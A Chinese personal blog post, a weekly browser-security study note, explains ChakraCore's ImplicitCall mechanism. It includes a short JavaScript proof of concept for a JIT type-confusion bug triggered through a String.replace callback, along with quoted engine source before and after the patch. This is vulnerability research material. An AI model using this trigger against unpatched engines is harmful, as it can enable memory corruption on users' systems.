wnagzihxa1n

wnagzihxa1n

iOS/Android Security

© 2021

浏览器安全周报 2019.12.02 - 2019.12.06

上周五笔记本送修,水果店告诉我没有配件现货,订货加维修可能要一周时间,还以为这周的安全周报没法写了,结果周日就告诉我维修完成可以去拿,这售后可以啊!

这周主要是看ChakraCore的一些内部机制,比如回调相关的ImplicitCall机制

主要是学习的elli0tn0phack师傅的文章《Chakra漏洞调试笔记1——ImplicitCall》,这一系列文章我学到了很多,当然目前只是读了几遍,其中很多的知识点我都还在一点一点的学习,这周主要把ImplicitCall机制给学习清楚了,这里也感谢elli0tn0phack师傅和Sakura师傅耐心的指导,感谢师傅们!

  • https://www.anquanke.com/post/id/180551

elli0tn0phack师傅在今年的BlueHat Shanghai也有关于浏览器安全相关的精彩演讲《Browser Script Engine Zero Days in 2018》

  • https://images.seebug.org/archive/Browser_Script_Engine_Zero_Days_in_2018-EN.pdf
  • https://www.microsoft.com/en-us/videoplayer/embed/RE39Zq1

这个会议的官网上有本次会议的大部分视频以及所有的Slides

  • https://www.microsoft.com/china/bluehatshanghai/2019/#Agenda

关于ImplicitCall机制,它是用于防止执行回调修改了JS对象,但是JIT不知道的情况,比如valueOf回调里修改了数组的长度,但是JIT循环的时候还是缓存的长度,那就会造成一个越界访问

Poc

function main() {
    let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
    function opt(f) {
        arr[0] = 1.1;
        arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
        arr[2] = 1.1;
        arr[3] = 1.1;
    }

    let r0 = () => '0';
    for (var i = 0; i < 0x1000; i++)
        opt(r0);

    opt(() => {
        arr[0] = {};
        return '0';
    });

    print(arr[1]);
}

main();

这个漏洞的成因是因为在JITed Code里触发回调修改了数组arr的类型,但是JIT Compiler没有意识到这一点,导致JS层数组修改了类型,但是引擎还把数组当作浮点数数组进行赋值操作

正常情况下JIT Compiler是考虑了回调改变对象内存布局这种情况的,具体实现由Js::Var ExecuteImplicitCall来完成

template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
{
    // For now, we will not allow Function that is marked as HasNoSideEffect to be called, and we will just bailout.
    // These function may still throw exceptions, so we will need to add checks with RecordImplicitException
    // so that we don't throw exception when disableImplicitCall is set before we allow these function to be called
    // as an optimization.  (These functions are valueOf and toString calls for built-in non primitive types)

    Js::FunctionInfo::Attributes attributes = Js::FunctionInfo::GetAttributes(function);

    // we can hoist out const method if we know the function doesn't have side effect,
    // and the value can be hoisted.
    // 没有Side Effect的函数可以直接调用
    if (this->HasNoSideEffect(function, attributes))
    {
        // Has no side effect means the function does not change global value or
        // will check for implicit call flags
        return implicitCall();
    }

    // Don't call the implicit call if disable implicit call
    // 如果ImplicitCall被禁用表示不允许调用
    if (IsDisableImplicitCall())
    {
        AddImplicitCallFlags(flags);
        // Return "undefined" just so we have a valid var, in case subsequent instructions are executed
        // before we bail out.
        return function->GetScriptContext()->GetLibrary()->GetUndefined();
    }

    if ((attributes & Js::FunctionInfo::HasNoSideEffect) != 0)
    {
        // Has no side effect means the function does not change global value or
        // will check for implicit call flags
        return implicitCall();
    }

    // Save and restore implicit flags around the implicit call

    // 此时明确有回调且有Side Effect,所以设置saveImplicitCallFlags的值
    Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
    Js::Var result = implicitCall();
    this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
    return result;
}

函数RegexHelper::StringReplace实现的地方,可以看到直接调用用户定义的函数,没有做检查

Var RegexHelper::StringReplace(JavascriptString* match, JavascriptString* input, JavascriptFunction* replacefn)
{
    CharCount indexMatched = JavascriptString::strstr(input, match, true);
    ScriptContext* scriptContext = replacefn->GetScriptContext();
    Assert(match->GetScriptContext() == scriptContext);
    Assert(input->GetScriptContext() == scriptContext);

    if (indexMatched != CharCountFlag)
    {
        Var pThis = scriptContext->GetLibrary()->GetUndefined();
        // 调用用户定义的函数
        Var replaceVar = CALL_FUNCTION(scriptContext->GetThreadContext(), replacefn, CallInfo(4), pThis, match, JavascriptNumber::ToVar((int)indexMatched, scriptContext), input);  // <--
        JavascriptString* replace = JavascriptConversion::ToString(replaceVar, scriptContext);
        const char16* inputStr = input->GetString();
        const char16* prefixStr = inputStr;
        CharCount prefixLength = indexMatched;
        const char16* postfixStr = inputStr + prefixLength + match->GetLength();
        CharCount postfixLength = input->GetLength() - prefixLength - match->GetLength();
        CharCount newLength = prefixLength + postfixLength + replace->GetLength();
        BufferStringBuilder bufferString(newLength, match->GetScriptContext());
        bufferString.SetContent(prefixStr, prefixLength,
                                replace->GetString(), replace->GetLength(),
                                postfixStr, postfixLength);
        return bufferString.ToString();
    }
    return input;
}

为什么最后面的标志位可以用于判断是否有回调呢?

我们来看Patch后的调用,传入的是ImplicitCall_Accessor,对应的值是0x04,最后通过|就不是原来的值,所以JIT在检查的时候,一看ImplicitCallFlags不是原来的值,那就说明ExecuteImplicitCall判断这里存在回调,所以直接BailOut到Interpreter去解释执行

ThreadContext* threadContext = scriptContext->GetThreadContext();
Var replaceVar = threadContext->ExecuteImplicitCall(replacefn, ImplicitCall_Accessor, [=]()->Js::Var
{
    Var pThis = scriptContext->GetLibrary()->GetUndefined();
    return CALL_FUNCTION(threadContext, replacefn, CallInfo(4), pThis, match, JavascriptNumber::ToVar((int)indexMatched, scriptContext), input);
});

enum ImplicitCallFlags : BYTE
{
    ImplicitCall_HasNoInfo = 0x00,
    ImplicitCall_None = 0x01,
    ImplicitCall_ToPrimitive = 0x02 | ImplicitCall_None,
    ImplicitCall_Accessor = 0x04 | ImplicitCall_None,
    ImplicitCall_NonProfiledAccessor = 0x08 | ImplicitCall_None,
    ImplicitCall_External = 0x10 | ImplicitCall_None,
    ImplicitCall_Exception = 0x20 | ImplicitCall_None,
    ImplicitCall_NoOpSet = 0x40 | ImplicitCall_None,
    ImplicitCall_All = 0x7F,
    ImplicitCall_AsyncHostOperation = 0x80
};

之前分析的SamsungSMT逻辑提权漏洞,详细分析写了一半后来就没动了,看看下周写完给发出来吧,我喜欢逻辑漏洞,剩下的时间多看看编译原理,现在再来看编译原理感觉能和编译器很多知识点对应上,很有趣:))